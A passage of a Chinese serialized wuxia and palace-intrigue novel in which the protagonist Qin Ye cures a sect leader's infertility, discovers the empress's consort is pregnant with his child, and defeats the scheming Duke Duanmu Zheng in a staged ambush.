“不可能。”赵马玄断然否定,“兵器录第一早已隐世多年,据说正在冲击玄天境境界。这等人物,不会轻易出手。” 秦烨若有所思。一个武功高强的剑客,就这样悄无声息地死去,其中必有隐情。 “最近江湖上暗流涌动。”赵马玄压低声音,“不仅是秦清月,还有好几位高手都莫名其妙地消失了。” “都是什么人?” “兵器录前二十的高手,已经死了三个。”赵马玄神色凝重,“除了秦清月,还有排名第十五的"铁掌"孟武扬,第十八的"追风剑"秦有影。” 秦烨心头一震:“短短时间内,连续死了三位高手?” “不错。”赵马玄点头,“而且死状都极为凄惨,像是被什么东西生生撕碎的。” 会客厅内的气氛顿时变得凝重起来。秦烨的目光再次落在那柄紫电剑上,剑身寒光闪烁,似乎在诉说着什么。 “江湖险恶啊。”赵马玄感慨道,“即便是青虹剑魔这等高手,也难免阴沟翻船。秦兄初入江湖,一定要多加小心。” 秦烨点头不语。他的心思却飘到了远处。这把剑的前主人,究竟经历了什么?又是谁取走了他的性命? 种种疑问在秦烨心头萦绕。他隐隐觉得,这把剑背后的故事,或许比表面看起来要复杂得多。 “赵兄若是喜欢,这把剑就送给你了。”赵马玄突然开口。 “这怎么使得?”秦烨连忙摆手,“此剑来历不凡,我怎敢妄自收下。” “你我既是兄弟,又何必客气?”赵马玄执意要送,“况且这剑落在你手里,也算是物尽其用。” 秦烨犹豫片刻,终究还是接过了紫电剑。剑身入手,一股凛冽的寒意顺着手臂蔓延全身,仿佛有什么东西在血液中流淌。 这把剑不简单。秦烨心中暗道。不仅是因为它曾属于兵器录第二高手,更因为它本身就蕴含着不寻常的气息。 “多谢王兄厚赠。”秦烨郑重道谢。 “哈哈,你我兄弟之间,不必如此。”赵马玄爽朗一笑,“对了,最近江湖上不太平,李兄若是遇到什么麻烦,尽管来找我。” “赵兄,这武道境界究竟如何划分?”秦烨望着眼前的赵马玄,目光中带着几分求知若渴的神色。他刚踏入这片天地不久,对于武道的诸多规则仍是一知半解。 赵马玄正在品茶,闻言放下茶盏。 “这武道境界啊,说来也简单。”赵马玄的声音沉稳有力,带着多年习武之人特有的气质,“九品至七品为入流,六品至四品为高手,三品以上便是真正的强者。” 秦烨微微颔首,指尖无意识地在桌面上轻叩,发出细微的声响:“这么说来,能达到三品的,这等强者足以傲视八方?” “正是如此。”赵马玄点头,眼中闪过一丝追忆之色,“三品之上的高手,放眼天下也是凤毛麟角。老夫游历江湖数十载,遇到的三品高手屈指可数。” 秦烨端起茶盏轻抿一口,目光不经意间扫过赵马玄。这位在兵器录上排名第三的高手,不知达到了何等境界? 赵马玄似乎察觉到了秦烨的心思,苦笑着摇了摇头:“我啊,卡在四品已有数载,想要更进一步,却是难如登天。” 这番话让秦烨心头一震。四品就能在兵器录上排名第三,那排在前两位的该是何等存在?一时间,他心中涌起无数疑问。 “赵兄,不知这武道境界之间,差距究竟有多大?”秦烨追问道。 “每一重境界都如天堑,普通人穷尽一生或许都停留在九品。能到四品已是不易,更遑论更高境界。”赵马玄的声音中带着几分感慨,“就拿我来说,这些年来不知尝试过多少次突破,却始终差那么一线。” “那一品呢?”秦烨追问道,眼中闪烁着求知的光芒。 “至尊境界被誉为神阶,传闻突破便可飞升成仙。”赵马玄说到这里,自己都笑了,眼角的皱纹舒展开来,“当然,这种说法听着就像天方夜谭。” 秦烨也跟着笑了起来,这种说法确实有些荒诞。屋外传来几声鸟鸣,打破了短暂的沉默。 “不过既然有这种传言流传,想必也不是空穴来风。”赵马玄话锋一转,目光灼灼地看向秦烨,“贤弟身上气息不凡,不知可曾测过自己的境界?” 秦烨摇摇头,神色坦然:“实不相瞒,我对这些境界划分也是刚刚才有了解。” “这样啊……”赵马玄眼睛一亮,脸上浮现出一抹兴致,“不如这样,贤弟对我出一拳,我便能大致判断你的境界。” “这……不太好吧?”秦烨有些迟疑,眉头微皱。 “无妨。”赵马玄哈哈一笑,大步走到院中,摆出一个马步,“我们武者间常用这种方式切磋,来吧。” 见赵马玄如此坚持,秦烨也不再推辞:“那我就失礼了。”他缓步走到院中,月光洒在他的身上,为其平添几分神秘气息。 赵马玄心中暗自盘算,以秦烨的年纪,就算天赋异禀,估计也就六七品的水平,自己完全可以承受。 “尽管用力,不必顾忌。”赵马玄又补充了一句,神色从容。 秦烨点点头,只用了五成力道,一拳轰出。夜风突起,院中的树叶沙沙作响。 “砰!” 这一拳正中赵马玄胸膛。声音清脆,却蕴含着惊人的力道。 赵马玄脸色骤变,踉跄后退数步,胸口一阵翻涌。 就在这时,一道红影闪过,商媛快步走来,一把扶住摇摇欲坠的丈夫。她的面容在昏暗的灯光下显得格外苍白。 “夫君!”她神色焦急,声音中带着颤抖。 “无事……”赵马玄话音未落,一口鲜血喷出,在月光下显得格外刺目。 第五十九章 赵马玄的隐疾 商媛顿时怒目圆睁,死死盯着秦烨:“你是何人,竟敢伤我夫君!”她的声音中充满了愤怒和担忧。 “这是赵兄让我……”秦烨一脸无辜,话还未说完就被打断。 “夫人莫怪,是我让贤弟出手的。”赵马玄赶紧解释,声音虚弱却坚定。 他擦去嘴角血迹,强撑着站直身子,眼中闪过一丝震惊:“贤弟的功力……怕是已达四品境界。” 秦烨也吃了一惊,没想到自己随意一拳就有这般威力。 “赵兄,我还有句话不知当讲不当讲。”秦烨犹豫片刻,还是开口道。 “但说无妨。”赵马玄的呼吸已经平稳了些。 “其实刚才那一拳……我只用了五成力道。” 此言一出,院中顿时一片寂静。赵马玄的脸色瞬间变得苍白,额头上渗出细密的汗珠。五成力道?那一拳就让自己吐血了,若是全力……他不敢再想下去。 “贤弟武艺高强,愚兄自愧不如。”赵马玄连忙拱手,语气中带着几分讨好,“还是免了吧。” 秦烨见状也不再坚持,转而将目光投向一旁的商媛。阳光下,这位帮主夫人确实风韵犹存,虽已年过三旬,却依旧保养得宜。 “这位想必就是嫂嫂了?果然是倾城之貌。”秦烨微微一笑,语气恭敬。 听到这话,商媛原本紧蹙的眉头舒展开来。她仔细打量着眼前的少年,虽然方才对相公出手,但现在这般有礼,又生得一表人才,倒也不似什么狂妄之辈。 “贤弟谬赞了。”商媛掩嘴轻笑,眼角的细纹显出几分温柔,“嫂子年纪大了,哪比得上外头那些小姑娘。怕是再过几年,你赵兄就要被哪个狐媚子勾走了。” “夫人!”赵马玄脸色一沉,声音中带着几分不悦,“这话当着贤弟的面说什么?” “我这是提醒你!”商媛不甘示弱,玉手叉腰,“上个月你还说要纳妾,现在倒是装起正人君子来了?” 眼看这对夫妻就要吵起来,秦烨赶忙打圆场:“赵兄嫂嫂莫要动怒,今日叫我来,不知有何要事?” 赵马玄闻言,面露难色,眼神闪烁,一时竟说不出话来。 “赵兄这是不把我当自家兄弟啊。”秦烨笑道,“有什么话直说便是。” “就是,你怎么婆婆妈妈的。”商媛在一旁帮腔,“又不是什么见不得人的事。” 赵马玄深吸一口气,终于开口:“贤弟,实不相瞒,愚兄与夫人成亲十余载,至今未有子嗣。听闻贤弟医术高明,连皇上龙体都能医治,所以……” “原来如此。”秦烨恍然,目光在赵马玄身上打量。这位玄铁会帮主,武功虽然不弱,但那方面似乎…… 秦烨沉吟片刻,开口问道:“王兄可否说说,每月房事几次?” “这个……”赵马玄面露尴尬之色,支支吾吾半天,才低声道,“大约……六七次吧。” 秦烨眉头一挑:“时间呢?” “半刻钟左右……”赵马玄的声音越来越小,脸上已经泛起红晕。 听到这个回答,秦烨心中已有了判断。这位赵兄,不仅剑法快,这方面也是快得很啊。 “赵兄,让我号下脉。” 赵马玄伸出手腕,秦烨仔细诊脉。他的手指轻轻搭在赵马玄的脉门上,眉头渐渐皱起,面色也变得凝重起来。 “嫂嫂,也让我诊断一下。” 商媛痛快地伸出手腕。秦烨号脉片刻,轻轻点了点头。 “嫂嫂身子无碍,调理一番即可。”秦烨缓缓开口,“主要问题……在赵兄这边。” 此言一出,赵马玄脸色大变,额头上的汗珠更密了。 商媛却是一脸得意:“听到了吧?是你的问题!还想纳妾,做梦!” “夫人,是我对不住你……”赵马玄连连认错,声音中带着几分愧疚。 商媛转向秦烨,急切问道:“可有法子医治?” “此事棘手,需要慢慢调养。”秦烨沉吟道,目光中闪过一丝深意,“不过,我倒是有一事相求……” “贤弟但说无妨!”赵马玄立刻表态,语气中带着几分迫切。 “赵兄,其实这事也不算什么大不了的。”秦烨的声音打破了沉寂,他站在赵马玄身侧,语气轻松,“不过,还是先替你看看病吧。” 赵马玄抬头看向秦烨,眼中闪过一丝希冀与迟疑:“我这病……当真能治?” 这话问得小心翼翼,声音里带着几分颤抖。作为玄铁会帮主,他向来说一不二,何曾如此患得患失过?可这事关他的后半生,更关系到传宗接代的大事。在这个时代,无后便是最大的不孝,这让他如何能不担心? 一旁的商媛也不由得攥紧了手帕,眼中满是期待地看向秦烨。自从赵马玄得了这病,她便寝食难安,四处求医问药,可始终无果。 秦烨看出了两人的焦虑,嘴角勾起一抹淡淡的笑意:“赵兄多虑了。你这病在我看来,不过是小事一桩。” “当真?”赵马玄猛地站起身,太师椅被带得发出一声闷响。 “自然。”秦烨点头,语气笃定。 听到这话,赵马玄长舒一口气,紧绷的肩膀也放松下来。他重新坐回椅子上,目光中多了几分笑意:“早就听闻贤弟医术高明,今日一见,果然名不虚传。” 堂内的气氛顿时轻松了许多,商媛连忙命人上茶。 待下人退下后,赵马玄忽然想起什么,转而问道:“对了贤弟,说说看,你要对付的是何人?” “赵兄方才进来时,可曾见到一个人?”秦烨不答反问,目光意味深长。 赵马玄愣了一下,随即回想起方才确实遇到一人,当即问道:“就是他?” “正是。” “此人为何会出现在我玄铁会后堂?”赵马玄皱眉,转头看向一旁的夫人商媛,“但是太太邀请的?” 商媛连忙摇头:“我并未请过外人。”她语气中带着几分慌乱,生怕赵马玄误会。 秦烨端起茶杯,轻啜一口:“此人是来寻杀手的。” 茶香在口中弥漫,却掩不住话语中的寒意。 “哦?”赵马玄眉头一挑,眼中精光闪烁,“既是来寻杀手,为何又匆匆离去?” “因为我易容成了你们帮中的人,与他谈妥了买卖。”秦烨放下茶杯,语气平淡如水,“他以为找到了帮手,殊不知已经落入圈套。” 赵马玄眼中闪过一丝惊讶:“贤弟还懂易容之术?” “略通一二。”秦烨谦逊道。 “那他要杀的是谁?”赵马玄追问。 堂内的气氛骤然凝重,秦烨目光一冷:“我。” “什么?”赵马玄猛地站起,拳头攥得咯咯作响,“竟敢要杀贤弟?” 一旁的商媛也是脸色一变。秦烨可是来给她相公看病的,若是出了什么意外,赵马玄的病该找谁医治? “此人是谁?”赵马玄咬牙问道,声音里带着浓浓的杀意。 “成国公端木正。” “想不到是这个混蛋!”赵马玄冷笑一声,重重地拍了下桌案,“贤弟放心,这事交给我便是。” 第六十章 荣升翰林院 “多谢赵兄。”秦烨拱手,随即话锋一转,“现在,让我先替赵兄医治吧。” “好!”赵马玄二话不说,脱去上衣。他虽是帮派之主,但也不拘小节。 秦烨取出银针,手法如行云流水,每一针都精准无比地刺入穴位。银针在夕阳下泛着冷光,却给人一种莫名的温暖。 赵马玄忽然感觉体内气血翻涌,经脉中似有暖流流转,不由得心头一震。这针法竟还能助他突破武功? 良久,秦烨收针,又开了几副药方,详细叮嘱了服用方法。商媛在一旁仔细记下,生怕遗漏半点。 “赵兄这病说来也怪,”秦烨一边收拾银针,一边解释道,“表面看是肾气亏虚,实则是经脉受阻。方才那套针法,便是为疏通经脉所用。” 赵马玄若有所思地点点头:“难怪我这些日子总觉得内力运转不畅。” “除了针灸,我还开了几副药方。”秦烨从怀中取出几张药方,“这第一副是调理阴阳,第二副是补益肾气,第三副……” 他详细解释着每副药方的功效,赵马玄和商媛听得认真。 待说完药方,两人便谈起了武学心得。赵马玄发现秦烨在武学上的见解独到,不由得越发佩服。 “贤弟这套"飞凤剑法"甚是精妙,”赵马玄赞叹道,“尤其是那个"凤舞九霄"的收势,更是巧妙。” 秦烨笑道:“赵兄过奖了。这套剑法还有许多不足之处。” 两人相谈甚欢,直到夕阳西下,秦烨才起身告辞。 临走前,他还特意叮嘱了几句房事上的注意事项,这才离开玄铁会。 看着秦烨远去的背影,赵马玄若有所思。这位贤弟,不简单啊。医术、易容、武功,样样精通。难怪那端木正要除之而后快。 不过,有他玄铁会在,谁敢动他的贤弟? 赵马玄眼中寒光一闪,转身对商媛道:“夫人,去把钱豹叫来。” 商媛会意,立刻吩咐下人去请。 不多时,一个身材魁梧的汉子大步走进后堂,抱拳道:“帮主。” “钱豹,”赵马玄沉声道,“你带几个机灵点的兄弟,给我盯着端木正府上的动静。但要小心行事,别打草惊蛇。” “是!”钱豹应声,转身离去。 夜色渐深,玄铁会后堂灯火通明。赵马玄站在窗前,望着远处的灯火阑珊,眼中闪过一丝冷意。 端木正,你找死! 夜色深沉,金阙宫内一片寂静。偶尔有巡逻的禁军踏过青石板路,脚步声在空旷的宫道上回荡。 秦烨推开承明殿的大门,映入眼帘的是伏案批阅奏章的女帝上官瑾。烛火摇曳,在她精致的侧脸上投下明暗不定的光影。 “回来了?”上官瑾头也不抬,语气中带着一丝不悦,手中的朱笔在奏章上划过。 秦烨轻步走近,目光扫过案头堆积如山的奏折,“陛下这是在等我?” “等你?”上官瑾抬起头,美眸中闪过一丝嗔怒,“朕只是在处理政务。”她的语气虽然强硬,但眼角的疲惫却出卖了她。 秦烨注意到她略显苍白的面容,眼下淡淡的青影昭示着她已经批阅奏章多时。案头的烛火已经换过一轮,残留的蜡泪凝固在烛台上。 “今日朝会上,朕为你谋了个好差事。”上官瑾放下手中的奏章,纤细的手指轻轻揉了揉太阳穴。 “翰林院人?”秦烨随口说道,目光却在她疲惫的神情上停留。 上官瑾眉头一挑,精致的面容上浮现出一丝讶异:“你早就心知肚明?” “昨日韩明远就送来了六品官服。”秦烨不以为意地说道,同时走到案前,为她斟了杯温热的茶水。 “你倒是消息灵通。”上官瑾接过茶盏,眯起眼睛,“这件事连朕都是今日才定下。”茶香袅袅升起,稍稍驱散了些许疲惫。 秦烨踱步到窗前,夜风轻拂,带来一丝凉意。“韩明远此人,倒是有趣。三代民部世家,门生故吏遍布天下。如今他主动举荐我这个"天子宠幸的近臣",这态度,可是相当明显了。” “你说得不错。”上官瑾若有所思地抿了口茶,“韩家向来谨慎,这次如此表态,确实耐人寻味。” “在这朝堂之上,一举一动都关乎大局。”秦烨转身看向女帝,“陛下觉得,今晚轮到谁倒霉?” 上官瑾俏脸一红,茶盏差点脱手:“你这是在教朕做事?” “臣不敢。”秦烨微微一笑,“只是提个建议,这后宫之事,也是朝堂之事。陛下近日宠幸韩玉仪颇多,怕是要引起非议。” 上官瑾放下茶盏,玉指轻轻敲击着案几:“那依你之见?” “皇后许久未曾侍寝,不如……”秦烨的话中带着几分暧昧。 上官瑾沉吟片刻,终于点头:“来人,宣皇后过来。” 时间一点点流逝,烛火燃尽了一根又一根。半个时辰过去了,皇后却迟迟未至。 “这么久还不来?”上官瑾蹙眉,语气中带着明显的不悦,“长春宫到这也不过几百步的距离。” 秦烨心中也觉得不对劲。司马玉华虽然对上官瑾不敬,但也不至于如此怠慢。他正要开口,殿外突然传来急促的脚步声。 “娘娘身体不适,不能前来侍寝,恳请陛下宽恕。”一个陌生的宫女声音透过门缝传来,带着几分慌乱。 秦烨眉头紧皱。司马玉华向来身体康健,今日这突如其来的“身体不适”,怕是另有隐情。他注意到上官瑾的脸色瞬间阴沉下来。 “怎么回事?”上官瑾猛地站起身,玉手重重拍在案几上,“她这是在和朕耍性子?” “陛下息怒。”秦烨上前一步,“皇后娘娘或许真的身体不适。” “你倒是替她说话。”上官瑾冷笑,眼中闪过一丝寒意,“朕看她是仗着司马家的势力,故意和朕作对!” 秦烨摇头:“陛下,司马玉华向来谨慎,不会无缘无故做出这种事。依臣看,这其中必有蹊跷。” 上官瑾在殿内来回踱步,良久才停下:“你说得对,她虽然骄纵,但不会这般不智。这背后,怕是有人在搞鬼。” “不如让臣去看看?”秦烨提议道,“若真有什么意外,也好及时应对。” “你?”上官瑾迟疑了一下,美眸中闪过复杂的神色,“也好,你去探探究竟。若有异常……” “臣明白。”秦烨拱手,“若有异常,定会第一时间禀报陛下。” “放开我!我有要紧事要禀告陛下!”殿外有人挣扎着,声音却是熟悉的。 “雨竹?她怎么来了?难道皇后真的病重?”秦烨认出了这是司马玉华的贴身宫女 上官瑾手中朱笔一顿,眸光微闪,她冲着秦烨使了个颜色。 秦烨立即会意,朝殿外唤道:“让她进来。” 殿外的脚步声由远及近,宫女雨竹快步入殿,恭敬行礼。她偷眼看了看站在龙椅旁的秦烨,心中暗惊。短短一月,这位曾经的小太监,如今已能在陛下身边自由出入。这等地位,令人艳羡。 第六十一章 皇后娘娘怀孕了 “说说看,皇后娘娘是怎么回事?”上官瑾问道,声音中带着一丝不易察觉的紧张。 “回陛下,皇后娘娘用过早膳后突感不适,呕吐不止。”雨竹低着头,声音轻柔,“现在卧床休息,实在无力前来侍寝……” 秦烨听着雨竹的描述,眼中闪过一丝思索。这症状,确实有些蹊跷。他的手指无意识地摩挲着腰间的药囊,那是他随身携带的解毒之物。 “陛下,让我去看看吧。”秦烨沉声道。 上官瑾点头应允,纤细的手指轻轻摆了摆:“去吧,务必查清原因。” 秦烨随雨竹前往长春宫,一路上不断询问司马玉华近日的起居饮食。雨竹对答如流,却也透露出一丝担忧:“娘娘这几日胃口不好,常常食不下咽。” 秦烨走进内殿,看到司马玉华正躺在凤塌上,眉头紧锁,面色苍白。她的手指无力地搭在锦被上,整个人显得异常虚弱。 “秦烨来了?”司马玉华勉强睁开眼睛,声音虚弱。 “娘娘请放心,让我先诊脉。”秦烨上前,手指轻搭在司马玉华的手腕上。 脉象平稳,并无异常。这不对劲。若是中了蛊毒,脉象不该如此平和才是。秦烨继续诊察,突然灵光一闪。 “娘娘,可否冒昧问一句,您的月事可有异常?” 司马玉华愣了一下,仔细回想:“似乎……推迟了几日。” 秦烨心中了然,嘴角露出一丝笑意:“娘娘不必担心,只是这几日饮食不够规律,加上劳累所致。我明日来为娘娘施针,很快就能好转。” 司马玉华闻言松了口气,方才的忧虑一扫而空。她靠在软枕上,轻声道:“有劳秦公公了。” “娘娘好生休息,我先告退。”秦烨躬身退出内殿。 站在院中,秦烨抬头望着夜空中的明月,心中思绪翻涌。这可不是什么蛊毒,而是一件天大的喜事。只是这消息来得突然,他也不敢贸然说出。 回到凤阁时,上官瑾正在批阅奏章。见秦烨进来,她立刻放下朱笔:“如何?” “陛下放心,皇后娘娘并无大碍。”秦烨轻声道,“只是……” “只是什么?”上官瑾追问道,眼中闪过一丝担忧。 “只是这事,还需要再观察几日才能确定。”秦烨斟酌着说道。 上官瑾虽然疑惑,但见秦烨神色轻松,也就不再追问。她重新拿起朱笔,继续批阅奏章。 烛火摇曳,在墙上投下两道交错的影子。秦烨站在一旁,看着上官瑾批阅奏章的侧影,心中暗自盘算。 若是他猜得不错,不出一月,这后宫怕是要有一场大喜了。只是这消息来得突然,他也不敢贸然说出。万一判断有误,岂不是要闹出笑话? 还是再等几日,等确定无误后再说不迟。 夜已深,凤阁内的烛火依旧明亮。上官瑾批阅完最后一份奏章,轻轻揉了揉太阳穴:“今日就到这里吧。” “陛下早些休息。”秦烨恭敬道。 第二天一早,秦烨就带着药材来到长春宫。司马玉华的气色比昨日好了许多,但仍有些倦怠。 “娘娘,我先为您施针。”秦烨取出银针,开始施针。 司马玉华闭目养神,任由秦烨施针。针尖刺入穴位,一丝暖意随之流淌。 “秦公公,你说我这是……”司马玉华欲言又止。 秦烨微微一笑:“娘娘不必担心,调养几日就好。” 施针完毕,秦烨又开了几副调理的药方。看着司马玉华服下药汤,他的心中越发确定了自己的判断。 接下来的几日,秦烨每日都会来长春宫为司马玉华诊脉。随着时日推移,他心中的猜测越发肯定。 长春宫外,夜色如墨,寒风呼啸,吹得宫灯忽明忽暗。 雨竹送秦烨至宫门,脚步微顿。她望着秦烨的背影,总觉得今晚的他有些不同寻常。往日里这人离开时总要依依不舍地说上几句,今日却显得格外沉默。 “秦烨,慢走。”她轻声唤道。 “嗯。”秦烨只是淡淡点头,转身便走,连个多余的眼神未留下。 这反常的态度让雨竹心头一滞。她下意识咬了咬唇,目送秦烨的身影消失在夜色中,才转身回了长春宫。 待走出雨竹的视线,秦烨脸上的淡漠瞬间荡然无存。他快步走到一处无人的角落,再也按捺不住内心的激动,仰天长笑。笑声在寂静的宫墙间回荡,惊起几只栖息的夜鸟。 “我就要升级当爹了!!” 原来司马玉华并非生病,而是有了身孕。这个发现让他心潮澎湃,恨不得立刻冲到司马玉华面前分享这份喜悦。他的手不自觉地颤抖着,脑 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“陛下,天大的喜讯啊!。”秦烨试探着说道,“若生下皇子,大周便有了国本。” “住口!”上官瑾厉声打断,转身直视秦烨,“这孩子不能留。” 秦烨如遭雷击,脸色瞬间苍白:“陛下此言何意?” “朕的意思很简单。”上官瑾目光如刀,一字一句道,“这个孩子,必须处理掉。” “为何?”秦烨强压着心中的怒意,声音微微发颤,“陛下不是一直想要皇嗣吗?” “正因为如此,这个孩子更不能留。”上官瑾冷笑,“你应该明白,这孩子体内流的是什么血。” 秦烨心头一颤。他当然明白上官瑾的顾虑。这个孩子没有上官家的血脉,若是个男孩,日后继承皇位,势必会引起轩然大波。但这是他的孩子,他的血脉。 “可万一是个公主呢?”他不甘心地问,声音中带着一丝祈求。 “公主也不行。”上官瑾斩钉截铁,“朕不能冒这个险。一旦消息走漏,必定会有人借题发挥。” 秦烨握紧拳头,指甲深深陷入掌心。他站在原地,仿佛被钉在那里一般。 第六十二章 女帝的抉择 “陛下三思。”他的声音沙哑。 “朕意已决。”上官瑾转过身,“你退下吧。” 秦烨没有动。他的喉咙像是被什么堵住了,想说的话都化作一声叹息。良久,他深深一揖,转身离去。 看着秦烨的背影,上官瑾心中泛起一丝不安。这是她与秦烨第一次产生如此大的分歧。或许可以让司马玉华生下孩子,再找个由头送出宫去? 但这个念头刚起,就被她无情掐灭。太冒险了,中间任何一个环节出错,都可能危及大周的统治根基。不行,这个孩子,必须除掉。 上官瑾握紧了拳头,眼中闪过一丝决然。为了大周的江山社稷,她别无选择。 秦烨走在回府的路上,月光洒在他身上,拉出一道孤寂的影子。宫墙上的更声传来,提醒着时间的流逝。他的脚步很慢,像是在思索,又像是在犹豫。 回到府中,他坐在书房里,看着案上的医书发呆。烛火跳动,在他脸上投下明暗不定的光影。他想起司马玉华温柔的笑容,想起她最近略显疲惫的面容,心中一阵绞痛。 这个孩子,是他和司马玉华的血脉,是他们爱情的结晶。可现在,他却要亲手毁掉这一切。 “叩叩叩。”门外传来敲门声。 “进来。” 管家推门而入,手里端着一碗参汤:“大人,夜深了,喝碗参汤暖暖身子吧。” 秦烨摆摆手:“放下吧,你先去休息。” 管家欲言又止,最终还是将参汤放在案上,轻声退了出去。 秦烨端起参汤,热气腾腾的汤水映出他憔悴的面容。他忽然想起,司马玉华最近总说想喝参汤。原来是有了身孕的缘故。 这一夜,他辗转难眠。月光透过窗棂,在地上画出斑驳的影子。他想起上官瑾的话,想起司马玉华的笑容,心中充满矛盾和痛苦。 为什么会变成这样?他不断问自己。可是没有答案,只有无尽的煎熬。 天边泛起鱼肚白时,秦烨终于做出了决定。他换上一身干净的衣服,对着铜镜整理仪容。镜中的人面色疲惫,眼中却闪烁着坚定的光芒。 “来人。”他唤道。 “大人。”门外的侍卫应声而入。 “去请御医署院判来见我。” “是。” 秦烨站在窗前,看着初升的朝阳。他知道,自己即将面临人生中最艰难的抉择。但无论如何,他都要保护好司马玉华。至于那个还未出世的孩子,他只能在心中默默说声对不起了。 清晨的阳光洒落在承明殿的琉璃瓦上,金色的光芒映照着整个皇宫,显得格外庄严肃穆。上官瑾已经离开前往朝堂,留下秦烨一人站在宫门前,望着远处的天际。 微风拂过脸庞,带来一丝凉意。秦烨眉头微皱,昨夜的对话不断在脑海中回响。那个未出世的孩子,是他和上官瑾的血脉,却要被迫消失在这个世界上。作为一个父亲,这种痛苦让他难以承受。 “这该死的朝廷争斗。”秦烨攥紧拳头,指甲深深陷入掌心的肉里。 宫女雨竹匆匆跑来:“秦公公,娘娘请您去长春宫。” “知道了。”秦烨收敛心神,整理了一下衣袍。 长春宫内,司马玉华正襟危坐,眉宇间带着一丝倦意。秦烨为她施针完毕,看着她苍白的脸色,心中暗自叹息。 “秦公公……”司马玉华欲言又止。 “娘娘请说。”秦烨一边收拾银针,一边轻声道。 司马玉华犹豫片刻:“我这身子,当真无碍?” “身体并无大碍。”秦烨从袖中取出一张药方,“按此方服用便是。” 司马玉华接过药方,唤来侍女雨竹:“去御医署抓药。” “且慢!”秦烨突然出声,声音中带着一丝急切。 雨竹的脚步顿住,司马玉华蹙眉:“这是为何?” 秦烨沉吟片刻,目光在房内扫过:“此药……还是从司马府抓取为好。” “御医署出了什么问题?”司马玉华敏锐地察觉到不对劲。 秦烨摇头:“娘娘暂且按我说的做,具体缘由,容我查证后再禀告。” 见秦烨神色凝重,司马玉华虽有疑惑,却也不再追问:“雨竹,你去府上抓药。” 离开长春宫后,秦烨眼神渐冷。最近宫中频频出现蹊跷事件,御医署已经不可信任。端木正那老狐狸必然与此有关,既然如此,不如先拿他开刀。 秦烨来到城南一处偏僻院落,推门而入,只见王虎正在院中练拳。 “大哥。”王虎停下动作,抹了把汗。 “准备得如何?”秦烨问道。 王虎咧嘴一笑:“都 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话音未落,异变陡生。床榻上原本应该一动不动的“尸体”突然动了。只见秦烨缓缓坐起,月光透过窗棂洒在他的脸上,映出一抹令人心悸的冷笑。 “成国公,是不是太早下定论了?” 端木正瞳孔猛缩,茶杯“啪”的一声摔在地上,茶水四溅。“你……你没死?!” 惊愕之后,端木正很快冷静下来。他暗自冷笑,区区一个太监,就算没死又如何?自己可是堂堂五品高手,要杀这小太监,易如反掌。 想到这里,端木正不再犹豫,猛然出手。掌风呼啸,带着凌厉的杀意直奔秦烨面门而去。 然而秦烨的反应更快,他手指轻轻一弹,两枚银针破空而出,发出尖锐的破空声。 “噗嗤”两声轻响,银针准确命中端木正胸口要穴。端木正身形一滞,难以置信地看着自己的胸口:“你……你竟然会武功?” “很意外?”秦烨站起身,居高临下看着他,月光在他脸上投下阴影,“现在给你两个选择:要么死在这里,要么全力一战。” 端木正冷哼一声,强自镇定道:“狂妄小儿,就凭你也配?” 就在这时,隔壁房间传来细微的说话声。商媛有些担忧地看着丈夫赵马玄:“秦烨会不会有危险?端木正毕竟是禁军总戎,不好对付。” 第六十三章 暴打端木正 “放心,”赵马玄嘴角带着胸有成竹的笑意,“端木正不过五品境界,对贤弟来说不值一提。” 其实这场戏就是秦烨精心设计的局。他需要一个合适的对手来试试自己的真实实力。而端木正,就是最好的试金石。 房间内,端木正已经意识到自己中了圈套。玄铁会帮主赵马玄显然也参与其中,今日若不全力一搏,怕是难以活着离开这里。 “那就让你见识见识老夫的本事!”端木正怒吼一声,双拳轰出。 拳风呼啸,气势惊人。不愧是禁军总戎,这份功力确实不俗。然而在秦烨眼中,这点实力还不够看。他双手轻描淡写地一探,就轻松抓住了端木正的拳头。 端木正脸色瞬间涨得通红,额头青筋暴起。他不敢相信,自己全力一击竟被如此轻易化解? 秦烨微微用力一推,端木正顿时踉跄后退数步,撞在身后的桌案上,茶具哗啦啦摔了一地。 端木正心中骇然,目光不由自主瞥向窗户。逃,现在就逃! “别想逃,”秦烨冷笑着摇头,“赵马玄就在隔壁,你走不掉的。” 端木正咬牙切齿,强自镇定道:“刚才不过是试探,现在才是真本事!” 他双拳再度轰出,这次气势更盛,宛如猛虎下山。秦烨也不敢大意,凝神应对。 就在这时,端木正突然变招,收拳改腿,一记凌厉的鞭腿扫向秦烨面门。这一招来得又快又狠,若是寻常人必定措手不及。 “呵,果然老奸巨猾。”秦烨冷笑一声,迎面轰出一拳。 拳脚相撞,气浪翻涌。房间内的门窗瞬间被气劲震碎,杂物四处飞溅。烛火摇曳,在墙上投下诡异的影子。 这一击,分出了高下。 端木正只觉手臂发麻,一股难以抵挡的力道顺着腿部传来,整个人不由自主地后退三步。他心中惊骇不已,万万没想到,一个小太监竟有如此实力。 秦烨收回拳头,眼中闪过一丝满意。这一战,他对自己的实力有了更清晰的认识。 端木正已经在暗自盘算退路,但秦烨岂会给他机会。 “成国公,战都战了,何必急着走?”秦烨身形一闪,已经挡在窗前。他双手负后,神色从容,“不如,我们再打个痛快?” 端木正额头渗出冷汗,衣襟已经被汗水浸透。他终于明白,今天这局,自己怕是难逃了。 “小子,你到底是谁?”端木正喘着粗气问道。 “我是谁不重要,”秦烨淡淡一笑,月光映照下,他的笑容显得格外冰冷,“重要的是,你今天必须留下。” 话音未落,秦烨已经出手。这一次,他不再留手。 拳影重重叠叠,端木正只觉眼前尽是拳影,根本无从招架。他引以为傲的武功,在秦烨面前竟如同儿戏一般。 “砰!” 一声闷响,端木正重重摔在地上,胸口剧痛,显然已经受了内伤。地上的茶水浸湿了他的衣衫,狼狈不堪。 他艰难抬头,看着面前的年轻人,终于明白自己错得有多离谱。这哪里是什么小太监,分明是一个深藏不露的高手! 秦烨居高临下看着他:“成国公,这一战,可还满意?” 端木正苦笑一声,他哪里还有资格谈满意不满意。今日这一败,不仅败了武功,更败了心气。 一代禁军总戎,就此折戟。 赵马玄站在门外,听着房间内传来的打斗声,不由咽了咽口水。破旧的木门被震得嘎吱作响,灰尘簌簌落下,仿佛随时会散架。 作为江湖老手,他能感受到屋内那股凌厉的气势。两个高手的对决,在这小小的房间内确实有些束手束脚。拳脚相交的闷响不断传来,偶尔夹杂着家具倒地的声音。 “这场较量怎么还没结束?秦烨不会有危险吧?”商媛站在赵马玄身边,眉头微蹙。 赵马玄嘴角扬起一抹笑意:“放心,凭他这点本事,这端木正还不够看。他这是在借机试招罢了。” “当真如此厉害?”商媛眼中闪过惊讶,随即又问道,“那你和秦烨比起来,谁更胜一筹?” 